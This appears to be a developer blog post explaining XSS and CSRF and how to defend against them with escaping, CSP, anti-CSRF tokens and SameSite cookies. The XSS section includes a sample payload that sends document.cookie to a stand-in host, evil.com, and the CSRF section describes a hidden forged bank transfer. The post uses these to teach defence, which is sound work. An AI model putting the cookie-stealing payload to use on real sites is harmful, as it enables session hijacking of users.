The Two Bugs That Kill Startups: A Deep Dive into XSS and CSRF

# csrf# security

Frank Oge

You can have the cleanest React code, the fastest API, and the most beautiful UI. But if I can inject...

You can have the cleanest React code, the fastest API, and the most beautiful UI. But if I can inject a script into your search bar that steals your users' session cookies, your startup is dead.
Security is not an "add-on." It is a fundamental requirement.
Today, we are breaking down the two most common web vulnerabilities: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
1. Cross-Site Scripting (XSS)
The Concept:
XSS happens when an attacker tricks your website into executing their JavaScript.
Imagine a comment section.
User A posts a comment: Great article!
User B (Attacker) posts: fetch('<a href="http://evil.com?cookie=">http://evil.com?cookie=</a>' + document.cookie)
If your website renders that comment as raw HTML, the browser sees the tag and executes it. The attacker now has the session cookie of everyone who viewed the comment. The Fix: Sanitize Input: Never trust user data. Strip out <script> tags. Escape Output: Modern frameworks like React and Vue do this automatically. They convert < to <. If you use dangerouslySetInnerHTML in React, you are opening the door to XSS. Content Security Policy (CSP): A server header that tells the browser: "Only run scripts from my domain." 2. Cross-Site Request Forgery (CSRF) The Concept: CSRF is about tricking a logged-in user into performing an action they didn't intend to. Scenario: You are logged into your bank (bank.com). Your session cookie is stored in the browser. You visit a malicious site (free-iphone.com). That site has a hidden form that auto-submits a POST request to bank.com/transfer?amount=1000&to=Attacker. Because your browser automatically sends cookies with every request to bank.com, the bank thinks you made the request. The Fix: Anti-CSRF Tokens: The server generates a random token (e.g., abc12345) and embeds it in the HTML form. When the form is submitted, the server checks if the token matches. The attacker's site cannot read this token because of the "Same-Origin Policy." SameSite Cookie Attribute: Set your cookies to SameSite=Strict or Lax. This tells the browser: "Do not send this cookie if the request comes from a different website." Conclusion These vulnerabilities are old, but they are still prevalent. As a developer, your job is to assume every input is malicious and every request is suspicious until proven otherwise. Hi, I'm Frank Oge. I build high-performance software and write about the tech that powers it. If you enjoyed this, check out more of my work at frankoge.com